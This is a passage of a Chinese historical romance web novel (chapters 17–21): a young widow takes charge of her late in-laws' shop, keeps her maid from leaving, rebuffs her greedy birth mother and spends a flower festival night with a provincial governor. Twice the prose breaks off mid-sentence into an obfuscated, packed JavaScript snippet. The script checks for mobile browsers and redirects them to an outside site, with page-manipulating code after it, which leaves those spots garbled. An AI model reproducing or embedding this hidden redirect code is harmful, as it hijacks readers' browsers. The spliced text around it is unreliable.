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自九年前得罪石答郡的师爷后,丁原断送了入吏的前程,可若攀上总督府,小小石答郡师爷又算得了什么。 “东家说的是!实不相瞒,犬子技艺无处施展都是因我之过,今我幡然悔悟滴酒不沾,保证绝不会再误事,只盼犬子早遇伯乐。” 夏知霜忽略他的暗示,没给准话,四两拨千斤:“酒香不怕巷子深,是金子早晚会发光,你回去多督促令公子,别生疏了老手艺才是。” 丁卯连忙答应:“是是是,属下定会好好督促犬子。” 到此,谈话终了。 送走丁卯,彩玉不吐不快:“这人前倨后恭,到底哪里老实忠厚了。” 夏知霜叹气:“他在陈记待了几十年,变成什么样子都不奇怪。” 距离陈父写下那段评语过了三十载,她只在陈家待了两年都变了,何况是丁卯呢。 到了客栈,她向鲁元详述了始末。 夏知霜笑眯眯问:“军师觉得我这事办得如何?” 鲁元摸摸胡子,如实答:“粗糙急躁,马马虎虎。” 她顿时沮丧了。 鲁元瞥了她一眼,又道:“胜在目的达成,没搞砸。”她一个十几岁不谙世事的小姑娘,能办成这样已经出乎他的意料了,本来他都做好了给她擦屁股的心理准备。 夏知霜才又高兴起来。 跟预期的一样,恩威利诱之后,丁卯老老实实帮她打理陈记,生意渐渐重回正轨。 她开始学习做生意,只有自己怀有真材实料,才不会被底下的人轻易蒙骗,也就能避免奴大欺主的事。 鲁元见她刻苦勤学,陈记也起死回生,青阳城没他什么事了,便告辞离开。 夏知霜办了隆重的饯别宴,饯别礼只送了几册据说是孤本的古籍。 鲁元本来还担心她送金银财宝那些俗物,知道是孤本书籍后嘴角忍不住高翘,自是没有不收的道理。 她挥退旁人,拿出刘宁给的令牌,观摩着对方的微表情说:“请军师代我将此物交还制台大人,并转述一句话,就说小女子万分感激他救我于水火,我愿将一半家资献与他作为答谢。” 鲁元眸中闪过精光,拱手道:“在下定当转达。” 夏知霜从他的反应琢磨出了很多信息,送行了两步。 继鲁元之后,彩玉也表露出离去的想法。 18. 第 18 章 彩玉收拾着行李,头也不抬:“念在我们有过同甘共苦的情分上,我希望你能去我奴籍,放我归去。” “好端端的,你为何要走?” 夏知霜思来想去,想不明白。 “你母亲前几年已仙逝,你父兄巴着你的二三两月银过活,还到处嚷嚷你是陈鸿彦的准姨娘而肆意借钱挥霍,根本就没有把你当家人看待,你能到哪里去安身呢?” “我曾以为会一辈子待在陈家,陪少爷到白发苍颜,后来他死了。” 彩玉有瞬间的仿徨,又迅速调整好表情,重新整理包袱。 “我又以为我可以顺利报仇,来日九泉之下可以笑对有缘无分的孩儿,告诉他为娘曾经有多期盼他能来到世间,告诉他为娘手刃了仇人,他可以安心转世投胎了。” “这些我都没能做到,我弱懦,怕死,胆小如鼠,留在这里对着熟悉的一景一物,只会提醒我自己是那么的没用!” “我早就想走了,如今你在陈家站稳了脚跟,已无我的用武之地,我是时候离开了,天高地远,我何处去不得?” 这些是肺腑之言,亦是心如死灰的遗言。 人活着总得有口心气吊着,陈氏夫妇死了,她的心气跟着散了,本以为自己很惧怕死亡,那口心气散了之后发现死亡其实没什么好怕的。 彩玉麻木地背上包袱,淡淡地道:“我先去见少爷一面,他离开我九百六十零二天了,我一次都没被允许到他的墓前祭拜。” 他们身份悬殊,生不能同衾,死后总能同穴了吧。 夏知霜很能理解她的想法,可她不愿意陪伴长达两年的人、一个年轻鲜活的生命,因为一时想不开就这样凋零了。 她去抢夺彩玉的包袱,软声哀求。 “你今年不过十八,比我还小半岁,未来还有几十年的光阴,好不容易两个老货死了咱们可以主宰自己的人生,才刚开始过上好日子,怎么可以现在就寻死觅活。” “你快松手,”彩玉跟她角力,“没有人再需要我,我已经生无可恋,活着也什么意义……” “我需要你!”夏知霜高声打断她的话,果然震慑住了她,趁机把包袱丢到一边,让人取来彩玉的卖身契。 当着本人的面,她果断撕碎发黄的旧契,直截了当地哄劝。 “奴籍的彩玉死了,你不再需要对人卑躬屈膝,从今往后,你是我聘请的管事,陈府乃至陈记上下,无人敢对你不敬。我在此承诺,五年后若你还想离开,可自由归去,我绝不再阻拦。” 彩玉不习惯她这么强势,呆怔片刻。 过了会儿,她消沉地说:“我先考虑考虑,在此之前,我还是想去少爷的坟地看看。” 这次夏知霜很干脆的放人,派上几个婆子和丫鬟跟去,顺便送食物和纸钱去祭拜一下陈鸿彦。 她不是随口哄骗彩玉,接手家业后杂事变多,她确实需要一个知晓根底的人协助她。彩玉机敏聪慧,两年磨合下来,算是知根知底了,多么完美的助手人选啊。 最重要的是,她在彩玉身上体会到了人性的复杂,而且她需要一个深知她“黑历史”的人跟在身边,提醒自己不忘那段被囚禁和虐待的岁月,时刻保持清醒,切勿重蹈覆辙。 那一天晚上,彩玉没有回来。 夏知霜有点担心,料想有那么多人随行,应该无碍。 翌日上午,彩玉她们才回来。 她在陈鸿彦的墓前枯坐整宿,终于想清楚了。 夏知霜什么都没问,轻柔地微笑:“走吧,陪我吃朝食,我还没吃呢。”她没心情吃东西,空腹等了一早上。 彩玉闷闷“嗯”了一声,低头掩饰眼睛的湿润。 想通后,她恢复如常了,且很快切换到管事的身份,非常能干。 一天,彩玉捧着来自墨同郡里兴县的信件奉给夏知霜,随信送来的还有个锦盒。 信是刘宁亲笔回的,笔走龙蛇,字迹铁画银钩。 信中开头问候她是否康健,其次明言令牌是送给她的,她不需要还回来。随即说鲁军师转答了她的话,他难过的表示他是诚心扶危济困,并不求回报,她的话让他很伤心。 他信中的最后一句话力透纸背:汝谓我何人哉。 ——你把我想成什么人了? 从质问的语气都能感受到他的痛心疾首。 夏知霜心头一跳,竟无言以对。 她打开锦盒,里头确是她交给鲁元的那枚令牌,算是刘宁送给她的一道保命符。 彩玉不可思议:“刘督宪莫非真是好心扶助你,一点都不贪图陈氏家资?” 真有那样的人吗? 夏知霜也看不懂了。 那天她口头上说要赠一半家产给刘宁,鲁元的表情明显是“了然”和“意动”。 这说明鲁元打一开始就认为有利可图,才甘愿给她献计献策。 她也不是在说空话,刘家替她消灾,她予之报酬,天经地义。 不说别的,单靠她一个人可守不住陈记,从陈记顺利的重回正轨就能看出来,其他势力深知金记倒台有刘家的手笔才按耐住贪欲,没有横插一脚。 陈记目前得仗总督府的势才能存活,刘宁还令牌也表明愿意借势给她,因此她送一半家资出去是投名状,也是为了试探。 试探刘宁把她摆在什么位置,是不是想要她做个傀儡,然后一点点蚕食陈家的财产,暗中掌控陈记。 可刘宁的回信令她迷茫。 夏知霜思虑许久,始终想不通刘宁是在说真心话,还是在搞什么“三辞三让”的套路。 到了晚上,她就不烦恼了。 以刘氏在观东的地位,要想夺陈家的基业,她毫无反抗之力,还不如该吃该喝喝,走一步看一步。 彩玉建议道:“不如挑几样礼品送去,只是寻常物件的话,可能督宪大人就收下了。” 这还是陈父给刘家送礼给的启发,重礼不好意思收,小礼不好意思退。 夏知霜决定相信前人的智慧,出发挑礼物去。 七八个店铺逛下来,她挑花了眼,最后是彩玉拍板礼物清单,都是笔墨纸砚等常用之物。 临回去的半道上,夏知霜在一个画摊前驻足,想起去年丰收节在靖隅城偶遇刘宁那天,他就在摊上欣赏字画。 她投其所好,挑了一副山水画,付钱时瞥见角落里有把竹叶图的折伞,寻思几次见刘宁都是一身青衫,顺手把青竹扇也买下来。 回府后,她把山水画和纸扇跟其它礼品一起封箱。 礼物是敲定了,信却不知道怎么回才好。 夏知霜烦恼半天,感觉多说多错,反正送礼有感谢和赔罪两种解读方式,她便没写信,叫郑管家即刻找人把礼物送去里兴县。 彩玉全程旁观,欲言又止,眼神变得很诡异。 她隔了好一会才发觉:“怎么了?” “……没什么。”彩玉若无其事。 夏知霜没多问,钻到前院书房的密室里,翻阅陈父留下的众多书籍。 不管日后用不用得上,把各家情报记牢了不是坏事。 看了不到半个时辰,下人来报,门口有个自称她母亲的人求见。 难道是丛家听到她掌家的消息黏上来了? 这事她不好出面,夏知霜想了想,对彩玉耳语几句。 彩玉带上家丁前往大门。 丛母衣衫褴褛,远远见到锦衣倩影便双目一亮,高声呼喊:“贞儿!是娘,娘看你来了!” 要不是门房看得紧,她早闯进去抱着好“贞儿”痛哭流涕了。 彩玉站定斜睨:“这位老夫人慎言,什么真儿假儿,抬头看看这是什么地方,再乱攀亲戚,我拿你送官究办。” 她气势十足,加之门房凶神恶煞,竟唬了丛母一跳。 丛母抬头看巍峨的朱漆大门和金光闪闪的匾额,嘀咕两句“没找错啊”,不由得焦急地上前扒拉。 “姑娘,我大女儿丛贞确实嫁到府上做少夫人,你叫她出来,她见到我就认得我了!” 彩玉险些被她扒上,好在身边的丫鬟和婆子拦住了。 她皱眉怒视:“哦?记得夫人说过,她一年前派人到娘家探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426925|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望,亲家太太骂道‘嫁出去的女儿泼出去的水,以后别找来了’,亲家翁啐了一口说‘晦气’,还当着人的面儿熏艾、跨火盆,把人当瘟神赶呢。” 这通话说下来,丛母脸上的笑挂不住了。 那时夏知霜在陈家生不如死,去娘家求助是不得已而为之,谁想娘家嫌她晦气,口头客气两句都不愿意就把她派去的人轰出去。 十几载的血脉亲缘,断在丛家拿钱交人时,绝于丛家冷眼旁观她受难后。 事到如今,丛家是多厚的脸皮才贴上来攀亲戚啊。 彩玉愈发瞧不上这些粗人,目露鄙夷:“你该不会就是那个嫌贫爱富、丧伦败行、人面兽心的丛家人吧?” 丛母脸上彻底没了讪笑,欲辩解两句,她又继续指桑骂槐。 “不,你不可能是厚颜无耻的丛家人,毕竟那次的言行等同断绝关系,如今我家夫人是姓夏,跟丛家没有半点干系,更无娘家人。” “她敢!”丛母怒火中烧,挺直腰杆大骂,“再怎么改名换姓,身体里流的还不是我们丛家的血,她不认我丛家的祖宗,丛家的祖宗可认得她,举头三尺有神明,若行大逆不道之事,恐天打雷劈。” “来啊,”彩玉不耐烦地挥手,“把这个胡言乱语的疯婆子撵走,再纠缠就送到县衙去。” 谁想丛母一听县衙就更有底气,冲着门里放声嚷嚷:“去啊,咱报官去,任你高高在上你也是丛家人,到了官府让大伙好生看看,咱家都出了什么数典忘祖的坏坯子。” 在暗处看戏的夏知霜闻言招来骆怡。 彩玉怒极反笑:“重申一遍,我家夫人不姓丛,你告到官府去也没用……”余光瞥见骆怡跟来,心知东家另有对策,便以眼神询问骆怡。 骆怡招手让她回去,三两下制住丛母,押其上了一辆马车。 彩玉一头雾水,回到夏知霜身边:“骆姑娘到哪儿去了?” 夏知霜笑笑:“晚些时候你就知道了。” 晚些时候,骆怡疾步赶回,喝茶解渴就绘声绘色的分享趣事。 “我那把老货带去丛贞的墓前,赏了她俩耳光,拔刀吓唬她,若她还纠缠不休的话,就把她全家葬到丛贞墓旁作陪。她吓得屁滚尿流,再三保证不会再来撒泼,连滚带爬地回去了。” 骆怡跟她们处熟了,不再客客气气,用词豪放多了。 夏知霜和彩玉被她逗笑了,恶人就该“恶人”磨。 彩玉感慨万千:“陈家两个老货给丛家送了一笔不菲的钱银,足够他们下半辈子衣食无忧,今日观其穿着,反而不如叫花子体面。” 这点夏知霜调查过了。 “穷人乍富,自是吃喝嫖赌不知节制,一年就败光了我的卖命钱。” 不光如此,丛父欠下了巨额赌债,这才叫陈母觍着脸寻上门,自个躲在后面当缩头乌龟,真是可笑。 以防丛家人再来闹事,夏知霜叫郑管家派人盯紧丛家,凡是出言不逊或是找上门来,不妨给他们点颜色看看。 郑管家马上着手去办。 往后的日子果然清净了。 陈记按部就班,营收正常,外人都道陈家儿媳精明能干,夸不绝口。 至于夏知霜改名换姓的事,虽然有人颇有微词,但到底是个人自由,且给出的理由是她当自己心死了,就让“丛贞”这个名字陪公婆一起上黄泉路,于是引来很多人夸赞她孝顺云云。 如此这般,匆匆翻过月余,又到春暖花开时。 一日,骆怡兴冲冲跑进来。 “夏姐姐,彩姐姐,今日是花朝节,外头可热闹了,咱们出去透透气吧?” 彩玉从账本海中抬头,好笑地说:“这丫头跟咱们看了那么久的账目,定是闲不住了。” 骆怡不好意思地挠挠头。 夏知霜往时跟节日无缘,闻言放下账本:“那就出去逛逛吧。” 彩玉一把拉住她:“先等等,我给你挑身衣服。” 夏知霜不解,觉得身上这套就挺好的。 但看彩玉和骆怡一副跃跃欲试的样子,她顺从的跟她们走了。 19. 第 19 章 二月十五花朝节,又称花神节,民间会举行很多庆祝百花诞辰的活动。 在观淇九地,花朝节又称女儿节,这天的未婚少女们是绝对的主角。 她们会穿上漂亮的衣衫,带上用花亲手制作的美食,参加一年一度的花馔展,若被选为今年最佳“花娘”,该花娘便会名声大噪。 不竞选花娘的普通人有其他玩法,赏百花、尝花馔和观花灯。 观东四郡有对歌的习俗,最出名的玩法当属传花对歌,又因花朝节跟月老节离得近,有人在花朝节上对情歌,月老节结连理,所以花朝节增加了送花传情的风气。 未婚男女选择自己喜爱的鲜花送给心仪的人,若对方也心怀恋慕,会回送相同的花枝,如果对方无意,会礼貌的回送不一样的花枝,也有人什么都不回送,彻底绝了对方的念想。 夏知霜想去见见世面,私以为对歌和传花的活动与她无缘,但看彩玉和骆怡好像不是那样想。 她们给她挑衣服的挑衣服,选首饰的选首饰,致力于把她打扮成艳压群芳的效果。 “夏姐姐天生丽质,不好好装扮一番岂非辜负上天赐予的美貌?”骆怡给她戴头饰,兴冲冲地说。 彩玉无比赞同:“以前什么好东西都穿不上,现在自由了,当然要好好妆点。” 她们速度太快,夏知霜没有拒绝的余地,索性乖乖当模特随她们高兴去。 等她们打扮完毕,她顺着她们的视线望去。 铜镜中,水红锦袍的女子贴花点唇,妍姿艳质,顾盼神飞,慵懒神态中透着天成的妩媚,实实是罕见的美人皮相。 夏知霜恍然,最近几个月饮食正常,皮肉恢复到最佳状态,倒撑得起华衣美服了。 以前营养不良身上没几两肉,陈母带她出去见人时,身上的衣裳松松垮垮,像是偷穿大人衣服的小孩。 想到陈母,她拔掉步摇:“我尚在孝期,不便穿红戴绿招摇过市。” 启朝以孝治天下,刘宁和鲁元给她铺好了前半程的路,她怎么着也得巩固“孝媳”的人设。 待一年孝期过去,那时才是真正的自由。 彩玉和骆怡兴致消了大半,也知世人还在拿陈家事变当谈资,她现在更该谨言慎行,只好无奈的帮她卸掉妆面。 最后夏知霜着茶白色的外袍,戴两支朴素的玉簪了事。 一行人低调出门。 街道上异常热闹,行人的穿着打扮皆与花相关,坊市到处是以花为主题的装饰物,不少店主推出猜花谜赢礼品的揽客活动。 夏知霜和彩玉对什么都好奇,提议出门游玩的骆怡反而是最淡定的那个。 她们不喜欢钻人多的光鲜商铺,更爱逛路边支起的小摊。 什么摊主自家酿的花酒,早上蒸好的漂亮花糕,足够以假乱真的假花首饰等等。 夏知霜挑感兴趣的食物品尝过去,最爱梅花糕和桂花酒。 薄暮时分,青阳城最大的酒楼汇香园开始举行花馔品鉴会,她们早前预约了位置,当即慕名前往。 汇香园的掌柜认得来预约的家丁来自陈府,对打前的夏知霜分外热情,亲自引她们上二楼的包间。 “几位若想静心品膳,合窗清幽,无人搅扰。若想观展,只需轻轻一推。” 周掌柜演示性的把窗推开,上下几层楼的人声顿时贯进来。 “您瞧,此处对底下一览无遗,是绝佳的观赏位置!” 这几个相连的包间专为观看花馔展而设计,周掌柜能给她预留出来,冲的是陈家在青阳的地位。 夏知霜不差钱,自然承情,点上一整桌好酒好菜,反正有胃口大的骆怡在,点多少都不会浪费。 周掌柜满面笑容地退出去,交待伙计和厨房先紧着这两间雅座的需求,然后出去主持花馔展。 一楼空出来的地方此时站满了人,中间有桌子拼接成的长龙,上头摆满琳琅满目的花宴,有红案和白案制作的菜肴和点心,基本上每一道食物保留了花的本色,造型也十分美观。 评委是丰瑛郡有头有脸的人物,亦是出名的老饕,他们投票出的花娘非常有说服力。 随着铜锣声响,周掌柜上台讲解花馔展的来历,隆重介绍五位评委,而后宣布品鉴环节开始,围观的人群掌声雷动。 评委一一尝过桌上的佳肴,每当有人眯眼陶醉,路人便伸头细看,垂涎三尺。 另有早早分装出来的同款食物送到楼上的贵宾室,夏知霜体会到了富婆的乐趣,快乐地吃着姑娘们挖空心思做的花馔。 能拿到汇香园当竞品,味道自是不差,难的是选出最好的那一道。 “百花佳席,当食此道。”骆怡指向芙蓉花和豆腐为主料的雪霞羹。 彩玉不敢苟同,另有见解:“花馔以鲜为美,此羹的芙蓉花必是去年采摘冰存,鲜、香、甜流失大半,还是这道白虹贯日更合我心。” 她说的是玉兰花鱼翅羹,新鲜的白玉兰花瓣跟鲜美的鱼翅搭配,浓郁醇厚,唇齿留香。 夏知霜觉得她们选的菜都好,但被问及最爱,她指着最近的那道:“凤凰于飞。” 采摘初绽的梅花,搭上老鸽子,佐以补气血的药料,用雪水吊出汤来,清甜可口,留有淡淡的梅香。 经过评委的商议,一致择出花馔之魁。 周掌柜拿到夺魁菜肴的桌子及碗碟的编号,走到相对应的位置,把碗碟举高示众,同时唱名。 “今年夺魁的红案花馔,桃花烹制的‘吉星高照’。白案夺魁花馔,杏花制作的糕点‘一品红’。夺魁花酒,菊花酿造的‘千里香’。” 观众纷纷鼓掌,更有人高声叫好,不吝热情地庆贺几位花娘的诞生。 得奖的花娘喜极而泣,随着唱名上台拿奖。 楼上的三人没一个压中夺魁的菜品,白争一场,不禁面面相觑,旋即笑出了声。 一楼办完领奖仪式后,汇香楼的伙计拿纸笔出来,登记愿意交钱品尝长龙般的竞品美食的观众名单。 要是想尝夺魁的那几道菜,行,得加钱。 夺魁的菜品份量有限,价高者得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442024|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 汇香园的观众大部分出手阔绰,争的是一份脸面,吃的是一份好奇,享受的是“我有你无”的自豪感。 众人纷纷叫价,中间夹有乐子人故意喊的高价,一份夺魁的菜品被抬到了天价。 花钱的人满足了好奇心和口腹之欲,举办方汇香园大赚特赚,花娘喜提名声和分红,制作竞品菜肴的大伙也能得到一点辛苦费,皆大欢喜。 论做生意的手段,还是汇香园技高一筹。 夏知霜若有所思,隐隐从中学到了什么。 酒足饭饱,夜色下沉,星罗棋布般的漂亮花灯点缀坊市。 灯会是花神节的重要看点,路上的行人增多,穿行的年轻人一手提好看的花灯,一手执鲜艳的花枝。 夏知霜行至窗口,半倚栏杆,俯瞰底下的街景,静看妍丽的少女无忧无虑地玩闹。 说不羡慕、不向往是骗人的。 以年龄论,夏知霜跟她们差不了几岁,可她觉得自己跟她们隔着天堑。 她再也找不回这个年纪该有的天真烂漫。 彩玉走到她身边,怔怔注视她们面上无所顾忌的欢笑,轻问:“不去观灯吗?” “不了。”夏知霜神色复杂,淡淡道,“我已然梳发,独去如鹤立鸡群,恐惹人笑话。” 行人中不乏妇人装扮的女子来游玩,身边都有丈夫陪同。 她若梳着妇人发髻独去,难免给人心性不成熟、不够庄重的印象,要是让人家知道她是守孝中的寡妇,更落人轻浮的看法。 彩玉能理解她的感受,沉沉叹息。 “他人言笑好比过耳清风,人活一世,何须顾忌别人脸色?”一道清润的年轻男子音响起。 夏知霜微愣,差点以为是幻听,探头看向旁边包间。 那头的窗户也大敞,有人跟她一样靠在窗边俯视璀璨灯火。 “主君!”骆怡听到熟悉的声音立马冲到窗边。 刘宁朝骆怡摇头叹气,纳闷原先还算稳重的丫头,怎去她身边几个月就恢复冒冒失失的本性。 夏知霜很高兴能跟他偶遇,然而很快心虚起来,轻声打招呼:“刘公子。” 上次他那句“汝谓我何人哉”后,她再没跟他书信来往,只听骆怡偶尔提起他的近况。 据说很忙很忙,连吃饭都抽空批阅公文的人,今时距她咫尺。 刘宁微微一笑,修长的手指稍稍移动,隔空向她敬了敬酒杯。 他看起来半点都不介意被她晾着的事,她暗暗松气,气氛不至于太尴尬。 夏知霜接过彩玉斟来的茶,以茶代酒回敬一杯。 彩玉揣度双方的心思,忽而提议:“节日重逢是为缘,东家何不随友人游肆访市?” 夏知霜愕然,没想到她会说出这句不符合她风格的话来。 骆怡抢先应下:“好啊好啊,我早就想下去走走了。” 刘宁眸光晶亮,好整以暇地摩挲手中瓷杯,抬眼看向犹豫的夏知霜。 他笑着邀请:“佳节良辰,你可愿尽地主之谊?” 20. 第 20 章 话说到这个地步,夏知霜唯有点头的选项,尽管觉得有哪里不对劲,眼下只能硬着头皮上了。 彩玉似乎早有预料,拿出给她准备好的幂篱。 作戏做全套,不少人通过陈氏夫妇的葬礼认下夏知霜的面貌,为免有人拿她在孝期与人嬉戏做文章,最好是遮面游行。 这准备得过于太周全了,夏知霜带着疑色和彩玉碰了个眼神,彩玉示意她放心,她便接过幂篱默默戴上。 出了汇香园,她和刘宁迅速融入喧嚷的街景,成为不起眼的一对行人。 彩玉等人选择远远跟随,尽量不搅扰他们的交谈。 但他们之间却没有过多的交流。 夏知霜心里有点小别扭,浑身都透着不自在。 一是事发突然,二则她没有跟朋友闹过矛盾,所以在上回的疑似吵架后,她不知该怎样正确的处理这段关系,也不清楚现在这样算不算彻底合好。 刘宁配合她的步调,不知何缘故亦没有说话,扇子有一下没一下地轻敲另一边的手心。 他也在出神么?他在想什么呢? 夏知霜悄悄挪移目光,想要端量身边那人的神色。 面纱遮挡,灯光朦胧,看不清楚他此时此刻的表情,猜不透他的心上事。 她略微沉吟,率先开口了。 “实在抱歉,说要尽地主之谊,其实我没怎么出过门,看花朝节的夜景更是初次。” “不妨事,你我俱看个新奇才有趣意。” 刘宁目光流转,话语温和如初,似鸣琴弦,如玉石之声。 他身居高位,却平易近人,大多数时候都是笑吟吟的模样,有种跟身份截然不同的淡泊出尘气质,与之交谈总是如沐春风。 夏知霜缓缓静下心,开始欣赏途径的街景。 卖艺摊上,一群赤膊壮汉在耍杂技,高超的难度动作令人叹为观止。 表演至精彩处,贩夫敲锣吆喝:“卖艺不易,大家伙儿有钱的捧个钱场,没钱的捧个人场咯。” 花廊下,男女分成两个阵营对歌。 男子阵营有人抛花束到对面的一位姑娘身上,魁梧男子深情款款:“明月高悬兮,雾涌云蒸,嗟乎,何期照愚乎?” ——美丽的姑娘啊,你遥远得就像天上的月亮,你的心思我总捉摸不透,唉,你什么时候才会把目光放到我身上呢? 女阵营的姑娘把花球打回去,嬉笑高歌:“淇水浩汤兮,不着边际,欸嘿,藻蓱流徙哉。” ——这位壮士,你给人的印象如同汹涌奔腾的淇江之水,靠近你就像水藻浮萍置身无边无际的奔流,人家一点安全感都没有呀。 男阵营那边集思广益,对歌的男子马上高歌接上,向心仪的姑娘表达爱慕之情的同时,又保证自己其实勇猛可靠。 两边来回拉扯,歌声优美之极,夏知霜和刘宁觉得很有意思,在花廊处稍作停留。 青年人对歌稍显含蓄,有风花雪月,有山川云霞,多是以物喻人。 有点年纪的人对歌则奔放很多,他们极少对情歌,大多是借歌调侃对面阵营的老友,或者是跟不对付的人互“骂”起来,用词不拘什么脏话、闺房里的那点事,想到什么用什么。 他们只站了一小会,就听到了好些不雅之词,闹得一众年轻人面红耳赤……于是二人非常默契的转道而行。 一路皆有女子频频回顾刘宁,若非顾忌他身旁有伴,胆大的姑娘怕是早已上前攀谈,所收花枝只怕都能开花圃了。 夏知霜观察良久,不可思议:“她们好像只是喜爱你的相貌,并不畏惧你的身份。” 刘宁笑了:“观东大多数人只知我名讳,不识我容貌。” 她明白了,康熙微服私访时,识破他身份的才是少数。青阳离里兴那般远,别人不认得他才是常态。 男子爱美,女子爱俏,古往今来的常事,他在众多炽热的视线中神情自若。 二人走到一架高桥上,水面飘荡密密麻麻的河灯,岸边停泊灯火通明的画舫。 画舫顶部的甲板上有小生和花旦在排戏,咿咿呀呀地演绎爱情喜剧《墙头马上》。 天上飞着许多孔明灯,为璀璨的夜空献上最完美的点缀。 夏知霜最喜欢桥上的角度,步速不知不觉放慢,刘宁察觉到了,索性携她停下来。 “那是什么?”她兴致勃勃地问身侧那人,一路游玩下来,原先仅存的那点尴尬已忘得一干二净。 刘宁扫了眼她指的方向,含笑解惑:“编钲,一套八件,柄槌敲击,悦耳悠远。” 果不其然,很快有一队人登上空旷的广场,一人击钲,一人擂鼓,其余人列成方阵舞剑。 夏知霜凝神观舞,搭在桥栏上的手指随曲调轻敲。 剑舞蓬勃有力,曲调抑扬顿挫,真是赏心悦目的表演。 一舞终了,两人发自内心地鼓掌。 刘宁适才注意到她指尖推演过下一节的拍子,惊喜地问:“夏姑娘也懂音律?” 夏知霜被问住了。 她前世主学的是这个时代还没普及的西洋乐器,每到练琴的倦怠期,总会学点民族乐器调剂,往往会而不精。 念及彩玉说过他精通五音六律,不好在他跟前班门弄斧。 她斟酌着回答:“我没有专精的乐器,算不上懂行。” 刘宁言笑晏晏:“通俗即为大雅,愿听、愿赏、愿论已算初步通晓音律了。” 夏知霜对这句话很受用,眉眼带笑:“公子都会什么乐器?” 刘宁道:“萧、笛、埙、笙、竽略通一二,筝、琴、阮、鼓、锣略知皮毛。” 那岂不是吹拉弹击样样会! 以夏知霜对他的了解,他口中的“略通”是指登峰造极的程度,“略知”是指精通到拿得出手的地步。 百年一遇的音律天才说的就是这种人吧,她真心给跪了。 夏知霜眼眸亮晶晶,看他的目光多了丝崇拜。 刘宁被她盯得星目半阖,寒凉的天里打开折扇呼呼扇风,佯装镇定。 “怎么了?” “我在想如果你不是观东的总督,继续精进五音,名留千古也未可知。” “好比楚国的钟仪,晋国的师旷,还有俞伯牙和苏祇婆?” 四个人名中夏知霜只认得一半,但不妨碍她心目中把刘宁放到跟他们一样的高度,她眼瞳炯炯地点头:“嗯!” 被夸的那个人非但没有欢欣,心情反而明显萎靡。 刘宁虽谦逊随和,但性子含蓄内敛,很少这么显而易见的情绪外放。 他自幼对丝竹情有独钟,父兄宽容,他苦习乐器十多年来颇有成就,如果没有意外,他会伴随乐器终老。 时过境迁,鼓弄乐器的双手最终拾起了刀剑。 夏知霜意识到气氛不对,马上转移话题:“扇子还喜欢吗?”她也是刚刚才发现,他今天带的是她上次送的扇子。 刘宁移目向竹叶扇,恢复了点笑意,隔着薄纱凝望她眼眸缓缓说:“十分合意。” 怎么感觉他的话好意味深长…… 夏知霜带 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老翁颤巍巍接过银子,连呼遇到好人了,嘴皮一溜又夸了许多他们般配的话来。 刘宁忽略掉那些漂亮话,转而叮嘱老翁下桥后别沿着水路走,河边人多,避免被人推搡落水,还交代老翁千万别走闹市的路,稍后散市街坊人流大,他一个古稀老人要是撞倒可就不好了。 卖花翁双目湿润,连连点头。 夏知霜在他轻声细语中恢复了平静。 夜里出来讨生活的老人多是贫苦人家,换作是她的话,也会选择把花全买下来,但想不到这般体贴入微的关切对方。 刘宁是个仁善的人,从前她就知道,现在更直观的体会到他身上最闪亮的优点。 她隔着面纱悄悄看他英俊的侧颜,平生首次体会到了心如擂鼓的感觉。 目送老翁走远,二人相对无言。 刘宁最先打破沉默。 “我等了好久,你怎么不给我回信?”他用平静的语气问出了最在意的问题。 夏知霜绞紧十指,同他并肩下桥,轻答:“我以为你生气了,我……不会哄人,本想时间久些等你消气了再回信的。” 结果一拖就拖到他自己找过来了。 刘宁哭笑不得:“我没有生气,只是有点伤怀,”他幽幽叹息,“可让我好等啊。” 夏知霜有点愧疚,又有点窃喜。 原来他很期待收到她的信吗?他也开始在意她了么? 这些话她死都问不出口,答案无从得知。 二人在来路上沉浸于美景,回路上却各自思索心事,一时无言。 回到汇香园前面的岔路口,玄衣青年候在那里,见到刘宁便上前去私语。 夏知霜在庄上见过这人一次,预感他是来叫刘宁走的,胸中涌起强烈的不舍。 果然,刘宁表露了去意。 她压下种种情绪,死死忍住问他什么时候再来的问题,冷静道别。 刘宁没有立即离开,沉默数息,捏紧扇柄,慢声道出久积心间的话语。 “里兴的夜景比起青阳城不遑多让,有朝一日,你愿不愿意到里兴瞧一瞧?” 夏知霜听出了言外之意,倏然抬头,又不敢确信他的意思和她想的一样。 两人隔着面纱久久对视,心照不宣。 她有很多事情没有理清楚,只答:“我会给你写信的。” 这个答案在意料之中,刘宁浅笑答应:“我很好哄,你尽管来信。” 21. 第 21 章 回程中,马车摇摇晃晃,夏知霜捂着发烫的脸,望着窗外的景色出神。 彩玉斟酌了会儿,笃定地说:“刘督宪对你有意,这可是千载难逢的好机会。” 夏知霜不敢回头暴露酡红的面色,想知道在旁人眼中刘宁待她有几分真意,支颐试探:“何以见得?” 她和刘宁带去的随从跟他们保持了一定的距离,按理说,彩玉并未听清他们谈话的内容才是。 彩玉身为过来人,自是看得很清楚,心悦一个人的眼神骗不了人,不过还是给她列出了条条依据。 骆怡是刘宁的人,她们今日会出门全由骆怡一手促成,青阳城那么大,刘宁偏偏在凑巧的时间出现在汇香园,看他的反应,明显是早就知晓她在隔壁的雅间。 骆怡不日前还说他在石答郡公干抽不开身,一个忙碌的人在特殊的日子不远千里赶来,想方设法见她一面,巴巴作陪,本身就是最有力的证明。 